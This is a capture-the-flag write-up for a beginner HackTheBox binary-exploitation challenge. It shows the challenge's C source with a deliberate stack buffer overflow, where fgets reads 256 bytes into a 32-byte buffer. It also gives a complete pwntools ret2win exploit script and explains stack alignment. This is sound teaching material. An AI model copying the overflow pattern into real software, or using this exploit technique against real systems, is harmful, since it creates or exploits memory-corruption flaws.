Questionnaire — Very Easy (300pts)
First of all, let’s check the security measures on the binary:
> checksec ./test
[*] '/home/kali/HTB/ctf/pwn/Questionnaire_pwned/test'
Arch: amd64–64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
So, there is NX (No-eXecute) flag. That means the stack will not be executable.
Let’s run the binary and see what it does:
> ./test
Enter payload here: aaa
It asks for the payload and does not do anything.
Next, let’s check for the symbols and strings in the binary:
> rabin2 -is ./test | grep -iE FUNC
1 0x00000000 GLOBAL FUNC __libc_start_main
2 0x00401060 GLOBAL FUNC system
3 0x00401070 GLOBAL FUNC fgets
5 0x00401080 GLOBAL FUNC fwrite
4 0x000010d0 0x004010d0 LOCAL FUNC 0 deregister_tm_clones
5 0x00001100 0x00401100 LOCAL FUNC 0 register_tm_clones
6 0x00001140 0x00401140 LOCAL FUNC 0 __do_global_dtors_aux
9 0x00001170 0x00401170 LOCAL FUNC 0 frame_dummy
21 0x00001190 0x00401190 GLOBAL FUNC 106 vuln
24 0x00001210 0x00401210 GLOBAL FUNC 0 _fini
25 0x00001176 0x00401176 GLOBAL FUNC 26 gg
33 0x000010c0 0x004010c0 GLOBAL FUNC 5 _dl_relocate_static_pie
34 0x00001090 0x00401090 GLOBAL FUNC 38 _start
36 0x000011fa 0x004011fa GLOBAL FUNC 21 main
39 0x00001000 0x00401000 GLOBAL FUNC 0 _init
1 — — — — — 0x00000000 GLOBAL FUNC 16 imp.__libc_start_main
2 0x00001060 0x00401060 GLOBAL FUNC 16 imp.system
3 0x00001070 0x00401070 GLOBAL FUNC 16 imp.fgets
5 0x00001080 0x00401080 GLOBAL FUNC 16 imp.fwrite
There is vuln
function and gg
function:
> rabin2 -z ./test
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00002004 0x00402004 12 13 .rodata ascii cat flag.txt
1 0x00002011 0x00402011 21 22 .rodata ascii \nEnter payload here:
The challenge already give us the source code in test.c
file. Its content is:
#include <stdio.h>
#include <stdlib.h>
/*
This is not the challenge, just a template to answer the questions.
To get the flag, answer the questions.
There is no bug in the questionnaire.
*/
void gg(){
system("cat flag.txt");
}
void vuln(){
char buffer[0x20] = {0};
fprintf(stdout, "\nEnter payload here: ");
fgets(buffer, 0x100, stdin);
}
void main(){
vuln();
}
The key points are:
- we need to call
gg()
for the flag vuln()
holds main logicvuln()
has obvious BOF where it recieves0x100
bytes but the size of variable is only0x20
bytes
With a quick look, we can easily say that we need a payload of size 0x28
to overwrite return address (0x28
comes from 0x20
for variable and 0x8
for rbp
)
Let’s write an exploit script:
from pwn import *
import sys
import re
filename = "./test"
def get_flag(text,pattern=r'HTB\{.*?\}'):
if type(text) == bytes:
text = text.decode()
flag = (re.search(pattern,text)).group(0)
success(flag)
return flag
def get_func(func_name,in_elf=None):
if not in_elf:
global elf
in_elf = elf
addr = in_elf.symbols[func_name]
info(f"{func_name}: %#x",addr)
return addr
elf = ELF(filename)
context.binary = elf.path
if args['DEBUG']:
context.log_level = 'DEBUG'
if args['REMOTE']:
p = remote(sys.argv[1],sys.argv[2])
else:
p = process(elf.path)
if args['GDB']:
gdb.attach(p,'''
''')
rop = ROP(elf.path)
ret = rop.find_gadget(["ret"]).address
offset = 0x20 + 0x8
eip = get_func("gg",elf)
payload = flat([{offset:ret},eip])
p.sendline(payload)
o = p.recvall()
flag = get_flag(o)
with open('exploit.txt','wb') as f:
f.write(payload)
The exploit code I used is somewhat a modified version from this template: https://github.com/io12/pwninit
Bonus
From the exploit code, I have add a ROP for ret
.
This is because of the stack alignment when calling system()
.
What it means is that, if the rsp
at the time of calling system()
(or some other function) is not divisible by 16 (not 16-byte aligned), the program will crash.
Which, when we send an exploit without ret
, the stack at the time is ending with 0x8
:
Which is not 16-byte aligned:
pwndbg> p/x (int)$rsp & 0xF
$3 = 0x8
By adding additional ret
on to the stack, we are adding 0x8
byte to the stack making it aligns to 16-byte:
When we run the exploit, we will get the flag:
More on this: https://tc.gts3.org/cs6265/2021/tut/tut06-02-advrop.html#tips-on-handling-stack-alignment-issues